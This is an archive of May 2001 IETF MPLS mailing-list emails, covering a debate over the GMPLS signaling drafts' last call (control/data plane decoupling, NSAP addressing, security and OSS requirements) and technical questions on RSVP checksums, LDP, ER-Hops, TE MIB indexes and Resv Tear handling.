From: Eve Varma <evarma@lucent.com>
X-Mailer: Mozilla 4.5 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ccamp@ops.ietf.org, mpls@UU.NET, ip-optical@lists.bell-labs.com
CC: tsg15q11@itu.int, t1x15@t1.org
Subject: Re: [IP-Optical] RE: GMPLS Last Calls
References: <71DA16F18D32D2119A1D0000F8FE9A94092DDE4C@mbtlipnt01.btlabs.bt.co.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi all,

Watching the various emails regarding the GMPLS drafts, I see several
issues being raised related to some concerns that service provider
requirements haven't been sufficiently reflected in the GMPLS signaling
specifications - or at least, not been tested against.  (An initial set
of requirements was provided by BT on
Considerations on the development of an Optical Control Plane -
http://search.ietf.org/internet-drafts/draft-freeland-octrl-cons-01.txt.
Monica has mentioned other currently available sources of service
provider requirements as well, such as the Carriers Optical Services
Framework and Associated Requirements for the UNI, developed in the OIF
and submitted to T1 and ITU-T.  Some requirements were also submitted
earlier in the draft Requirements on the ASON UNI -
http://search.ietf.org/internet-drafts/draft-lin-mpls-ipo-ason-uni-00.txt.
)

For example, assuring separation of the control plane from the data
plane continues to arise - the GMPLS architecture document mentions this
separation, but it's not clear how the GMPLS signaling specifications
reflect the implications of this decoupling.  This is best illustrated
in the handling of control plane failures.  In particular, what happens
to established circuit connections if the control plane fails? If the
control plane recovers, how do we sync the connection state?  As an
example, from RSVP RFC: "RSVP takes a "soft state" approach to managing
the reservation state in routers and hosts. RSVP soft state is created
and periodically refreshed by Path and Resv messages. The state is
deleted if no matching refresh messages arrive before the expiration of
a "cleanup timeout" interval." This means that if for whatever reason
control messages are lost, the associated data paths will be released. 
Thus there is strong failure correlation between the control plane and
data plane, which is inconsistent with the GMPLS architecture document,
and also results in tearing down optical connections resulting from even
temporary failures in the control plane.

I also understand the other comments from Hirokazu and Shehzad re
exclusion of NSAP, having been at the last OIF meeting where there was
considerable and spirited discussion of this issue.  The current GMPLS
architecture document specifically excludes NSAP, and from the last OIF
meeting 6 out of 12 operators discussing this issue felt there was some
need to support NSAP addressing. 

Given that the Requirements Design Team will be starting shortly, I
concur with Yuri's suggestion for inclusion of a clear statement of what
is - and isn't - covered in the GMPLS Signaling Description, RSVP
Extensions, LDP Extensions drafts.   A suggestion for such text is
provided below (the intro will need to be tailored to each draft):

"Overall, the objective of Generalized MPLS is to adapt MPLS signaling
and other protocols to enable their applicability to various switching
technologies.   A key motivating application has been applicability to
support a distributed control plane for various circuit-switching
technologies.   The signaling specifications contained within the these
drafts offer a starting point towards this goal; their current scope and
applicability, and areas for further assessment, are summarized below: 

These drafts provide some extensions to traditional MPLS signaling and
the basic signaling mechanisms provided in RSVP and LDP Ids (RFCs and
standard track documents) have not been modified.   It is noted that
MPLS signaling has been designed with a focus upon packet-switched
network based applications, utilizing  requirements and architectural
constructs suitable for such applications.   There may be significant
distinguishing characteristics with regard to requirements and
architectural considerations  for a distributed control plane that
supports circuit-switched network applications.  One well acknowledged
instance involves the decoupling of the control plane from the data
plane.  Such differences may have substantive impact on the signaling
mechanisms, the details of which require further study.  In addition,
upon further study of operational requirements and circuit-switching
technology specific aspects, further signaling extensions may be
required.

These drafts are focussed upon intra-area signaling interfaces, and do
not address issues and considerations related to other domains of
usage.   Applicability to inter-area and inter-domain interfaces
requires further study."

Hope this helps us move forward.

Cheers,
  Eve

itu

shehzad.mirza@bt.com wrote:
> 
> Hi,
> 
> I fully agree with Hirokokazu Ishimatsu's concerns on the GMPLS signalling
> drafts.
> 
> (1) Decoupling of the control plane from the data plane should be clearly
> stated.
> 
> This decoupling clearly has an impact on how the protocols should be defined
> to cope with control plane failures.
> 
> (2) Exclusion of NSAP
> 
> The GMPLS architecture document, (which logically speaking should perhaps
> have been put forward for last call, ahead of the functional description)
> explicitly excludes NSAP.  NSAP addressing is used within SDH/SONET
> communications channels (DCC bytes) therefore the use of alternative
> addressing within the same channels may have an adverse effect on
> interworking with legacy equipment, particularly with regard to management.
> This raises the general concern of what level of compatibility is
> required/desired with legacy SDH/SONET equipment.  This debate whilst likely
> to be contentious, is unavoidable as the interworking of control plane,
> management plane and transport will have a direct impact on how this
> equipment is deployed and the economics of whether such deployments will
> ever pay off.
> 
> (3) Requirements from both security and OSS has not been discussed fully
> yet.
> 
> Security concerns have not been fully addressed, particularly at the
> architectural level.  The use of separate control network may necessitate
> the need for 24 hour staff to protect against 'Denial of Service' attacks as
> currently happens for IP router networks.  The interaction between the
> management plane and control plane need to be addressed, for example it is
> undesirable to have multiple alarms generated when circuits are created and
> torn down otherwise the management of a large scale network will become
> impossible.  Discussions on service aspects need to take place, otherwise
> the adoption of GMPLS equipment may be hampered, by these (solvable)
> concerns.
> 
> Best regards
> 
> Shehzad Mirza
> 
> 
> 
> > -----Original Message-----
> > From: Hirokazu Ishimatsu [SMTP:hirokazu@japan-telecom.co.jp]
> > Sent: 29 May 2001 02:46
> > To:   George Swallow; ccamp; mpls
> > Cc:   ip-optical; tsg15q11; tsg13q10
> > Subject:      [IP-Optical] RE: GMPLS Last Calls
> >
> > Hi,
> >
> > From a carrier's perspective, my concerns about GMPLS signaling drafts
> > are as follows:
> >
> > (1) Decoupling of the control plane from the data plane should be clearly
> >      stated.
> > (2) Exclusion of NSAP
> > (3) Requirements from both security and OSS (Operating Support System)
> >      has not been discussed fully yet.
> >
> > Best regards,
> > Hirokazu Ishimatsu
> > Japan Telecom
> >
> > > -----Original Message-----
> > > From: owner-ccamp@ops.ietf.org [mailto:owner-ccamp@ops.ietf.org]On
> > > Behalf Of George Swallow
> > > Sent: Tuesday, May 15, 2001 2:52 AM
> > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > Subject: GMPLS Last Calls
> > >
> > >
> > > This message initiates a last call on four GMPLS drafts.  The last
> > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > >
> > > The drafts are:
> > >
> > >     1.  Generalized MPLS - Signaling Functional Description
> > >
> > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > >
> > >
> > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > >
> > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > >
> > >
> > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > >
> > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > >
> > >
> > >     4.  GMPLS Extensions for SONET and SDH Control
> > >
> > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > >
> > >
> > > The last call closes May 29, 12 pm GMT.
> > >
> > >
> > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > >
> > >
> > > ======================================================================
> > > George Swallow       Cisco Systems                   (978) 244-8143
> > >                      250 Apollo Drive
> > >                      Chelmsford, Ma 01824
> > >
> > >
> > >
> > >
> > >
> >
> > _______________________________________________
> > IP-Optical mailing list
> > IP-Optical@lists.bell-labs.com
> > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> 
> _______________________________________________
> IP-Optical mailing list
> IP-Optical@lists.bell-labs.com
> http://lists.bell-labs.com/mailman/listinfo/ip-optical


From owner-mpls@UU.NET  Tue May 29 15:05:38 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA09332
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 15:05:38 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrdk05683;
	Tue, 29 May 2001 19:05:56 GMT
Received: by mail-control.mail.uu.net 
	id QQkrdk03245
	for mpls-outgoing; Tue, 29 May 2001 19:05:21 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrdk00641
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 19:04:56 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrdk14426
	for <mpls@uu.net>; Tue, 29 May 2001 19:02:52 GMT
Received: from mail1.telefonica.com.ar by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail.telefonica.com.ar [168.226.49.11])
	id QQkrdk08289
	for <mpls@uu.net>; Tue, 29 May 2001 19:02:50 GMT
Received: by MAIL1 with Internet Mail Service (5.5.2448.0)
	id <LSRJ6WXJ>; Tue, 29 May 2001 16:02:07 -0300
Message-ID: <F52E4BBD250ED3118BEC0008C75D89D907F4F988@mstelefonica.sote.tasa.com.ar>
From: De Leo Walter <deleow@TELEFONICA.COM.AR>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: MPLS and DiffServ
Date: Tue, 29 May 2001 16:01:59 -0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Excuse me, I would like to know if the following draft:
draft-ietf-mpls-diff-te-reqts-00.txt
was replaced by:
draft-ietf-mpls-diff-ext-09.txt
or should I wait for a -01 version of that draft.

Regards


From owner-mpls@UU.NET  Tue May 29 15:26:59 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA09695
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 15:26:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrdl04215;
	Tue, 29 May 2001 19:27:17 GMT
Received: by mail-control.mail.uu.net 
	id QQkrdl05955
	for mpls-outgoing; Tue, 29 May 2001 19:26:08 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrdl05938
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 19:26:04 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrdl28741
	for <mpls@UU.NET>; Tue, 29 May 2001 19:18:59 GMT
Received: from dnsmx1pya.telcordia.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1pya.telcordia.com [128.96.20.31])
	id QQkrdl22949
	for <mpls@UU.NET>; Tue, 29 May 2001 19:18:59 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1pya.telcordia.com (8.9.3/8.9.3) with ESMTP id PAA06779;
	Tue, 29 May 2001 15:13:59 -0400 (EDT)
Subject: Re: RSVP Checksum
To: LDP Hello <ldp_hello@yahoo.com>
Cc: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Tue, 29 May 2001 15:14:05 -0400
Message-ID: <OF4DC3A5A4.31A66BCF-ON85256A5B.00699845@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/29/2001 03:14:06 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


Hi,

I also want to know this answer.

Julia





LDP Hello <ldp_hello@yahoo.com> on 05/28/2001 11:02:55 PM

To:   mpls@UU.NET
cc:   ldp_hello@yahoo.com (bcc: Hong Liao/Telcordia)
Subject:  RSVP Checksum



Hi ...

Can RSVP messages    being used for MPLS sigannling
can have checksum as ZERO ???

What should have happen if mpls router receives/sends
checksum as zero ...

Appreciate expert opinions -

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/






From owner-mpls@UU.NET  Tue May 29 15:33:19 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA09817
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 15:33:19 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrdm12147;
	Tue, 29 May 2001 19:33:38 GMT
Received: by mail-control.mail.uu.net 
	id QQkrdm06516
	for mpls-outgoing; Tue, 29 May 2001 19:33:01 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrdm06505
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 19:32:55 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrdl07661
	for <mpls@UU.NET>; Tue, 29 May 2001 19:24:07 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkrdl00568
	for <mpls@UU.NET>; Tue, 29 May 2001 19:24:06 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id D460194006; Tue, 29 May 2001 15:24:05 -0400 (EDT)
Message-ID: <3B13F755.9DC0B129@sandburst.com>
Date: Tue, 29 May 2001 15:24:05 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: gopinathg <gopinathg@hclt.com>
Cc: MPLS Mailing List <mpls@UU.NET>
Subject: Re: Address Table & ER-Hop
References: <001401c0e73f$a064f260$a2e8a8c0@hclt.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Gopinath,


> Hi
>
>  what does the peer addresses table in LDP specify ?
>
> MPLS inteface addresses of the peer alone or  non-mpls interface addresses
> or the peer also?.

It specifies addresses which might appear in the local peer's
route table as a next hop corresponding to a given remote peer.

See section 2.7, "LDP Identifiers and Next Hop Addresses" in
RFC 3036.


> Hi
>
>   Does  ER-HOP contains only Router-Id or any of its interface addresses?
> If it contains interface addresses then will it be MPLS capable interface
> addresses or can be non-mpls capable addresses also.
>

This is not specified and either may be used.  See section 4.2 of -

"http://www.ietf.org/internet-drafts/draft-ietf-mpls-cr-ldp-05.txt"

- and sections 4.3.2 and 4.3.3 of -

"http://www.ietf.org/internet-drafts/draft-ietf-mpls-rsvp-lsp-tunnel-08.txt"

for information on the types of 'addresses' that may appear in an
ER-Hop or ERO Subobject (respectively)...

--
Eric Gray




From owner-mpls@UU.NET  Tue May 29 15:44:25 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA10048
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 15:44:24 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrdm25138;
	Tue, 29 May 2001 19:44:43 GMT
Received: by mail-control.mail.uu.net 
	id QQkrdm07561
	for mpls-outgoing; Tue, 29 May 2001 19:44:06 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrdm07526
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 19:43:46 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrdm03004
	for <mpls@UU.NET>; Tue, 29 May 2001 19:40:42 GMT
Received: from alpha.tellium.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alpha.tellium.com [151.198.92.2])
	id QQkrdm20152
	for <mpls@UU.NET>; Tue, 29 May 2001 19:40:36 GMT
Received: from mail1.tellium.com (mail1 [151.198.92.140])
	by alpha.tellium.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id f4TJcHj05601;
	Tue, 29 May 2001 15:38:17 -0400 (EDT)
Received: by mail1.tellium.com with Internet Mail Service (5.5.2650.21)
	id <LSMXXQCA>; Tue, 29 May 2001 15:42:12 -0400
Message-ID: <0CD7D73C734BD411AEE100B0D0220404029D8634@mail1.tellium.com>
From: Vasanthi Thirumalai <Vasanthi@tellium.com>
To: "'LDP Hello'" <ldp_hello@yahoo.com>, mpls@UU.NET
Subject: RE: RSVP Checksum
Date: Tue, 29 May 2001 15:42:03 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Yes, RSVP messages can have zero in the RSVP checksum field. When a message
with all-zero value in the checksum is received, it means that no checksum
was transmitted. In such a case the receiver should not perform any checksum
verfication.

-Vasanthi
-----Original Message-----
From: LDP Hello [mailto:ldp_hello@yahoo.com]
Sent: Monday, May 28, 2001 11:03 PM
To: mpls@UU.NET
Cc: ldp_hello@yahoo.com
Subject: RSVP Checksum


Hi ... 

Can RSVP messages    being used for MPLS sigannling
can have checksum as ZERO ??? 

What should have happen if mpls router receives/sends
checksum as zero ... 

Appreciate expert opinions - 

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/


From owner-mpls@UU.NET  Tue May 29 15:58:19 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA10277
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 15:58:19 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrdn11735;
	Tue, 29 May 2001 19:58:37 GMT
Received: by mail-control.mail.uu.net 
	id QQkrdn09572
	for mpls-outgoing; Tue, 29 May 2001 19:57:48 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrdn09522
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 19:57:29 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrdn05633
	for <mpls@UU.NET>; Tue, 29 May 2001 19:56:36 GMT
Received: from ihemail1.firewall.lucent.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ihemail1.lucent.com [192.11.222.161])
	id QQkrdn15118
	for <mpls@UU.NET>; Tue, 29 May 2001 19:56:35 GMT
Received: from ihemail1.firewall.lucent.com (localhost [127.0.0.1])
	by ihemail1.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4TJuVp09385
	for <mpls@UU.NET>; Tue, 29 May 2001 15:56:31 -0400 (EDT)
Received: from md6370exch001p.wins.lucent.com (h135-114-206-50.lucent.com [135.114.206.50])
	by ihemail1.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4TJuVI09369
	for <mpls@UU.NET>; Tue, 29 May 2001 15:56:31 -0400 (EDT)
Received: by md6370exch001p.nse.lucent.com with Internet Mail Service (5.5.2650.21)
	id <H246WHA8>; Tue, 29 May 2001 15:56:30 -0400
Message-ID: <BD842AF47D98D311BFC400508B5EBB8D016B475C@md6370exch003u.nse.lucent.com>
From: "Natale, Robert C (Bob)" <bnatale@lucent.com>
To: AtmeshSrivastava <atmesh@multitech.co.in>
Cc: mpls@UU.NET
Subject: RE: TE MIB Indexes
Date: Tue, 29 May 2001 15:55:45 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Atmesh,

Index values must either be "known" a priori or discovered.
You can discover index values either via notifications (per
your comments below) or, more typically, via a GetNext walk
starting with some value preceding the first legal value for
the given index.  Often, a GetNext table "walk" is performed
to build a set of usable index values for a given instance
of a management app.

Let me know if that is unclear or seems problematic to you.

Thanks,

BobN

> -----Original Message-----
> From: AtmeshSrivastava [mailto:atmesh@multitech.co.in]
> Sent: Friday, May 25, 2001 4:05 PM
> To: tnadeau@cisco.com; mpls@UU.NET
> Subject: TE MIB Indexes
> 
> 
> Hi,
> In the TE Mib, for the TE Tunnel Table the Max Acess of the indexes is
> Accessible For Notify which means that these indexes are 
> generated only
> in the case of a trap event . Now for Snmp support how do you perform
> set , get and get next operation.
> Well in my Opinion only when you get the indexes through the trap you
> can use them to get the values of the other leaf variables for that
> particular index , that means you cannot do  a get next operation .The
> sameis applicable for the set operation .
> Please clarify on these issues as soon as possible.
> 
> Regards,
> Atmesh
> Software Engineer
> Multitech Software Systems India (p) Ltd
> 
> 
> 


From owner-mpls@UU.NET  Tue May 29 16:01:54 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA10334
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 16:01:54 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrdo20191;
	Tue, 29 May 2001 20:02:10 GMT
Received: by mail-control.mail.uu.net 
	id QQkrdo12818
	for mpls-outgoing; Tue, 29 May 2001 20:01:19 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrdo12405
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 20:00:58 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrdo15526
	for <mpls@UU.NET>; Tue, 29 May 2001 20:00:48 GMT
Received: from sandmail.sandburst.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkrdo21238
	for <mpls@UU.NET>; Tue, 29 May 2001 20:00:48 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 92FA694006; Tue, 29 May 2001 16:00:39 -0400 (EDT)
Message-ID: <3B13FFE7.20A845F9@sandburst.com>
Date: Tue, 29 May 2001 16:00:39 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: divya mattey <divya_mattey@yahoo.co.in>
Cc: mpls@UU.NET
Subject: Re: query regarding resv tear message
References: <20010529064217.19851.qmail@web8001.mail.in.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Divya,

    If a Resv Tear arrives at a node where a corresponding Path tear
has already been processed, what would be the point of propagating
the Resv tear further?

--
Eric Gray

You wrote:

> Hi,
> I have a query regarding resv tear message. It travels
> hop by hop from destination to source. It seems that ,
> it will also use pathstate( as resv message) to get
> the next PHOP to which resv tear message should be
> forwarded. My confusion is, suppose if path state at a
> particular node would have already been deleted due to
> path tear message or due to clean up timer, then how
> that node will find out at which PHOP resv tear
> message should be forwarded? Is that it will not get
> forwrded further?
>
> Thanks,
> -Divya.
>
> ____________________________________________________________
> Do You Yahoo!?
> For regular News updates go to http://in.news.yahoo.com



From owner-mpls@UU.NET  Tue May 29 16:42:27 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA10866
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 16:42:26 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrdq23104;
	Tue, 29 May 2001 20:42:44 GMT
Received: by mail-control.mail.uu.net 
	id QQkrdq05117
	for mpls-outgoing; Tue, 29 May 2001 20:42:10 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrdq05098
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 20:41:54 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrdq29613
	for <mpls@uu.net>; Tue, 29 May 2001 20:41:03 GMT
Received: from relay1.alcatel.be by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQkrdq21544
	for <mpls@uu.net>; Tue, 29 May 2001 20:41:02 GMT
Received: from bemail05.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with SMTP id f4TKej904937;
	Tue, 29 May 2001 22:40:45 +0200 (MET DST)
Received: from alcatel.be ([138.203.67.90]) by bemail05.net.alcatel.be (Lotus SMTP MTA v4.6.7  (934.1 12-30-1999)) with SMTP id C1256A5B.007194F4; Tue, 29 May 2001 22:40:37 +0200
Message-ID: <3B14093F.ED016D1A@alcatel.be>
Date: Tue, 29 May 2001 22:40:31 +0200
From: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
Organization: Alcatel Bell - IPO NSG
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Eve Varma <elv@hotair.hobl.lucent.com>
CC: ccamp@ops.ietf.org, mpls@UU.NET, ip-optical@lists.bell-labs.com,
        tsg15q11@itu.int, t1x15@t1.org
Subject: Re: [IP-Optical] RE: GMPLS Last Calls
References: <71DA16F18D32D2119A1D0000F8FE9A94092DDE4C@mbtlipnt01.btlabs.bt.co.uk> <3B13DFA9.BBD8E678@hotair.hobl.lucent.com>
Content-Type: multipart/mixed;
 boundary="------------076141E8FCA7BD2DE27A0322"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------076141E8FCA7BD2DE27A0322
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

In this e-mail you speak about a "Requirements Design Team"
do you refer to the NNI OIF project here i guess ? 

I wouldn't like to (re-)explain here the nice "reception" offered
during the San Diego IETF meeting on the BT draft. Moreover, what's 
sound very strange here is that the author himself didn't present 
his draft during the last IETF meeting (since there was a -01 version)! 
Are you serious when you speak about ASON UNI requirements at the 
IETF ?

You speak about GMPLS profiles for the UNI at the OIF, and potentially 
in the future for ASTN/ASON which are completely independent of the 
current GMPLS specification (self-consistency). We don't taylor a 
protocol suite based on the model to which we have to apply it since 
if the model change - you have to re-design your protocol ! -. Today 
GMPLS can be accomodated to any UNI/NNI interfaces coming from
wherever you want. Why ? Because from the beginning it is a model 
independent specification ! By defining the profile you desire you
can apply it to the OIF UNI / ASON UNI (if still needed) / etc. Also, 
don't spend to many time at the OIF to define the architecture it is 
already done...

Now you mention one question which is under discussion about the 
correlation between the planes... the good point is that with the
current work done at the IETF and OIF a solution will be found.
However this does not mean AT ALL that the current GMPLS 
specifications are not going toward a very good direction. Therefore 
i don't think we need the additional text as you propose. In fact this
is clearly an extended problem of the "restoration" issue already 
discussed on this mailing list and we already agree upon.

Thanks,
- Dimitri. 

Eve Varma wrote:
> 
> Hi all,
> 
> Watching the various emails regarding the GMPLS drafts, I see several
> issues being raised related to some concerns that service provider
> requirements haven't been sufficiently reflected in the GMPLS signaling
> specifications - or at least, not been tested against.  (An initial set
> of requirements was provided by BT on
> Considerations on the development of an Optical Control Plane -
> http://search.ietf.org/internet-drafts/draft-freeland-octrl-cons-01.txt.
> Monica has mentioned other currently available sources of service
> provider requirements as well, such as the Carriers Optical Services
> Framework and Associated Requirements for the UNI, developed in the OIF
> and submitted to T1 and ITU-T.  Some requirements were also submitted
> earlier in the draft Requirements on the ASON UNI -
> http://search.ietf.org/internet-drafts/draft-lin-mpls-ipo-ason-uni-00.txt.
> )
> 
> For example, assuring separation of the control plane from the data
> plane continues to arise - the GMPLS architecture document mentions this
> separation, but it's not clear how the GMPLS signaling specifications
> reflect the implications of this decoupling.  This is best illustrated
> in the handling of control plane failures.  In particular, what happens
> to established circuit connections if the control plane fails? If the
> control plane recovers, how do we sync the connection state?  As an
> example, from RSVP RFC: "RSVP takes a "soft state" approach to managing
> the reservation state in routers and hosts. RSVP soft state is created
> and periodically refreshed by Path and Resv messages. The state is
> deleted if no matching refresh messages arrive before the expiration of
> a "cleanup timeout" interval." This means that if for whatever reason
> control messages are lost, the associated data paths will be released.
> Thus there is strong failure correlation between the control plane and
> data plane, which is inconsistent with the GMPLS architecture document,
> and also results in tearing down optical connections resulting from even
> temporary failures in the control plane.
> 
